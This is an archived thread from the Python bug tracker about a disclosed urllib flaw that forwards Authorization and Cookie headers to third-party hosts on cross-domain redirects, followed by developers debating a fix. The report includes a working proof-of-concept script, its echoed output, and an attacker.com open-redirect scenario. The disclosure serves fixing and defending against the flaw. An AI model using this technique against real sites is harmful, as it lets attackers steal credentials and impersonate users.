[issue33661] urllib may leak sensitive HTTP headers to a third-party web site

[Ashwin Ramaswami]

Ashwin Ramaswami  added the comment:

Martin, are you okay with doing this? It seems like this issue has been the 
topic of a few CVEs 
(https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20060, 
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-18074, 
https://curl.haxx.se/docs/CVE-2018-107.html) as well.

--
nosy: +epicfaace

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue33661] urllib may leak sensitive HTTP headers to a third-party web site

[Katsuhiko YOSHIDA]

Katsuhiko YOSHIDA  added the comment:

According to RFC7235 (https://tools.ietf.org/html/rfc7235#section-4.1), 
WWW-Authenticate header is sent from server to client. And it has not 
credential data. 

Also, Cookie2 header is already obsoleted by RFC6295 
(https://tools.ietf.org/html/rfc6265).

So, I think that both "Authorization" and "Cookie" are enough.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue33661] urllib may leak sensitive HTTP headers to a third-party web site

[Katsuhiko YOSHIDA]

Katsuhiko YOSHIDA  added the comment:

Thanks. But I think the “add_unredirected_header” is not enough.

These sensitive headers should be removed only when redirecting to cross-site 
automatically for security like HTTPBasicAuthHandler of urllib2. In order to 
fulfill this requirement, I think the operation should be in 
HTTPRedirectHandler.redirect_request.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue33661] urllib may leak sensitive HTTP headers to a third-party web site

[Martin Panter]

Martin Panter  added the comment:

Are you aware of the “add_unredirected_header” method? Maybe that is enough to 
avoid your problem.
https://docs.python.org/dev/library/urllib.request.html#urllib.request.Request.add_unredirected_header

--
nosy: +martin.panter
title: urllib may leak sensitive HTTP headers to a third-party web site -> 
urllib may leak sensitive HTTP headers to a third-party web site

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue33661] urllib may leak sensitive HTTP headers to a third-party web site

[Emmanuel Arias]

Emmanuel Arias  added the comment:

Hi!, 

Like say Katsuhiko YOSHIDA 
(https://github.com/python/cpython/pull/11292#issuecomment-449667371) this 
should be filter other sensitive header. I think that is reasonable if we think 
on a complete solution to this issue. 

Maybe this issue could be apply on 3.5+ version?

--
nosy: +eamanu

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue33661] urllib may leak sensitive HTTP headers to a third-party web site

[Karthikeyan Singaravelan]

Change by Karthikeyan Singaravelan :


--
nosy: +xtreak

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue33661] urllib may leak sensitive HTTP headers to a third-party web site

[Katsuhiko YOSHIDA]

Katsuhiko YOSHIDA  added the comment:

Hi,

I agree with this suggestion.

First, section 6.4. "Redirection 3xx" of RFC 7231 doesn't explicitly explain 
whether to send all headers (including Authorization).

I have confirmed that some third-party-library, tool, Programing Language and 
web browser did NOT forward the Authorization header at redirect.

- urllib3 (after 1.23, PR: https://github.com/urllib3/urllib3/pull/1346)
- curl (after 7.58.0, ref: https://curl.haxx.se/docs/CVE-2018-107.html)
- net/http package of Golang (ref: 
https://github.com/golang/go/blob/release-branch.go1.11/src/net/http/client.go#L41-L46)
- Safari Version 12.0.2 (13606.3.4.1.4)
- Google Chrome Version 71.0.3578.98 (Official Build) (64-bit)

In other words, these are being on the safe side.

Actually, HTTPBasicAuthHandler of urllib2 doesn't forward the Authorization 
header at redirect. If this suggestion is rejected, I think that it should be 
changed.

--
keywords: +patch
nosy: +kyoshidajp
pull_requests: +10522
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue33661] urllib may leak sensitive HTTP headers to a third-party web site

[Artem Smotrakov]

Artem Smotrakov  added the comment:

If I am not missing something, section 6.4 of RFC 7231 doesn't explicitly 
discuss that all headers should be sent. I wish it did :)

I think that an Authorization header for host A may make sense for host B if 
both A and B use the same database with user credentials. I am not sure that 
modern authentication mechanisms like OAuth rely on this fact (although I need 
to check the specs to make sure).

Sending a Cookie header to a different domain looks like a violation of the 
same-origin policy to me. RFC 6265 says something about it

https://tools.ietf.org/html/rfc6265#section-5.4

curl was recently updated to filter out Authorization headers in case of a 
redirect to another host. Chrome and Firefox don't sent either Authorization or 
Cookie headers while handling a redirect. It doesn't seem to be a disaster for 
them :)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue33661] urllib may leak sensitive HTTP headers to a third-party web site

[Ivan Pozdeev]

Ivan Pozdeev  added the comment:

It's not about "convincing" me or anyone else. It's about showing how this will 
be a strict improvement.

I showed that the HTTP RFC allows apps to rely on the fact that they are 
receiving all the headers. So filtering them arbitrarily violates the HTTP 
standard -- while the whole purpose of `urllib` is to conform to it (or it 
would not be able to reliably talk to HTTP servers).

So, your suggestion is a disaster rather than improvement.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue33661] urllib may leak sensitive HTTP headers to a third-party web site

[Jakub Wilk]

Change by Jakub Wilk :


--
nosy: +jwilk

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue33661] urllib may leak sensitive HTTP headers to a third-party web site

[Artem Smotrakov]

Artem Smotrakov  added the comment:

Hi Ivan,

Yes, unfortunately specs don't say anything about this scenario.

> once you have given your credentials to a server, it is free to do whatever 
> it wants with them. 

I hope servers don't share this opinion :)

> So, your proposed filtering does not actually achieve anything meaningful.1

I am sorry that I couldn't convice you. Thank you for your reply!

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue33661] urllib may leak sensitive HTTP headers to a third-party web site

[Ivan Pozdeev]

Ivan Pozdeev  added the comment:

According to 
https://stackoverflow.com/questions/1969709/how-to-forward-headers-on-http-redirect
 , there's nothing in the specs that mention (even the possibility) of any 
special request header processing.

According to https://tools.ietf.org/html/rfc7231#section-6.4 , redirection 
targets are to be treated as effectively equal to the original URL.

So, there aren't any grounds for the proposed filtering from web standards' POV.


Neither are there from security POV:
once you have given your credentials to a server, it is free to do whatever it 
wants with them. So, by giving them, you have effectively put down your 
signature that you trust the server with your data -- which implies trusting 
its advice where to resend it.
The server could as well do that resending itself and passed you the end 
result. So, your proposed filtering does not actually achieve anything 
meaningful.1

--
nosy: +Ivan.Pozdeev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue33661] urllib may leak sensitive HTTP headers to a third-party web site

[Alex Gaynor]

Change by Alex Gaynor :


--
nosy: +orsenthil

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue33661] urllib may leak sensitive HTTP headers to a third-party web site

[Artem Smotrakov]

New submission from Artem Smotrakov :

After discussing it on secur...@python.org, it was decided to disclose it. Here 
is the original report:




Hello Python Security Team,

Looks like urllib may leak sensitive HTTP headers to third parties when 
handling redirects.

Let's consider the following environment:
- http://httpleak.gypsyengineer.com/index.php asks a user to authenticate via 
basic HTTP authentication scheme
- http://httpleak.gypsyengineer.com/redirect.php?url= is an open redirect 
which returns 301 code, and redirects a client to the specified URL
- http://headers.gypsyengineer.com just prints out all HTTP headers which a web 
browser sent

Let's then consider the following scenario:
- create an instance of urllib.request.Request to open 
'http://httpleak.gypsyengineer.com/redirect.php?url=http://headers.gypsyengineer.com'
- call urllib.request.Request.add_header() method to set Authorization and 
Cookie headers
- call urllib.request.urlopen() method to open a connection

Here is what happens next:
- urllib sends the HTTP authentication header to httpleak.gypsyengineer.com as 
expected
- redirect.php returns 301 code which redirects to headers.gypsyengineer.com 
(note that httpleak.gypsyengineer.com and headers.gypsyengineer.com are 
different domains)
- urllib processes 301 code and makes a request to 
http://headers.gypsyengineer.com

The problem is that urllib sends the Authorization and Cookie headers headers 
to http://headers.gypsyengineer.com as well.

Let's imagine that a user is authenticated on a web site via one of HTTP 
authentication schemes (basic, digest, NTLM, SPNEGO/Kerberos), 
and the web site has an open redirect like 
http://httpleak.gypsyengineer.com/redirect.php
If an attacker can trick the user to open 
http://httpleak.gypsyengineer.com/redirect.php?url=http://attacker.com, 
then urllib is going to send sensitive headers to http://attacker.com where the 
attacker can gather them. 
As a result, the attacker can imporsonate the user on the original web site.

Here is a simple POC which shows the problem:

import urllib.request
req = 
urllib.request.Request('http://httpleak.gypsyengineer.com/redirect.php?url=http://headers.gypsyengineer.com')
req.add_header('Authorization', 'Basic YWRtaW46dGVzdA==')
req.add_header('Cookie', 'This is only for httpleak.gypsyengineer.com');
with urllib.request.urlopen(req) as f:
  print(f.read(2048).decode("utf-8"))


Running this code results to loading http://headers.gypsyengineer.com which 
prints out Authorization and Cookie headers 
which are supposed to be sent only to httpleak.gypsyengineer.com:

Hello, I am headers.gypsyengineer.com
Here are HTTP headers you just sent me:
Accept-Encoding: identity
User-Agent: Python-urllib/3.8
Authorization: Basic YWRtaW46dGVzdA==
Cookie: This is only for httpleak.gypsyengineer.com
Host: headers.gypsyengineer.com
Cache-Control: max-age=259200
Connection: keep-alive


I could reproduce it with 3.5.2, and latest build of 
https://github.com/python/cpython

If I am not missing something, it would be better if urllib filtered out 
sensitive HTTP headers while handling redirects.

Please let me know if I wrote anything dumb and stupid, or if you have any 
questions :) Thanks!

Artem

--
components: Library (Lib)
messages: 317793
nosy: alex, artem.smotrakov
priority: normal
severity: normal
status: open
title: urllib may leak sensitive HTTP headers to a third-party web site
type: security
versions: Python 3.5

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com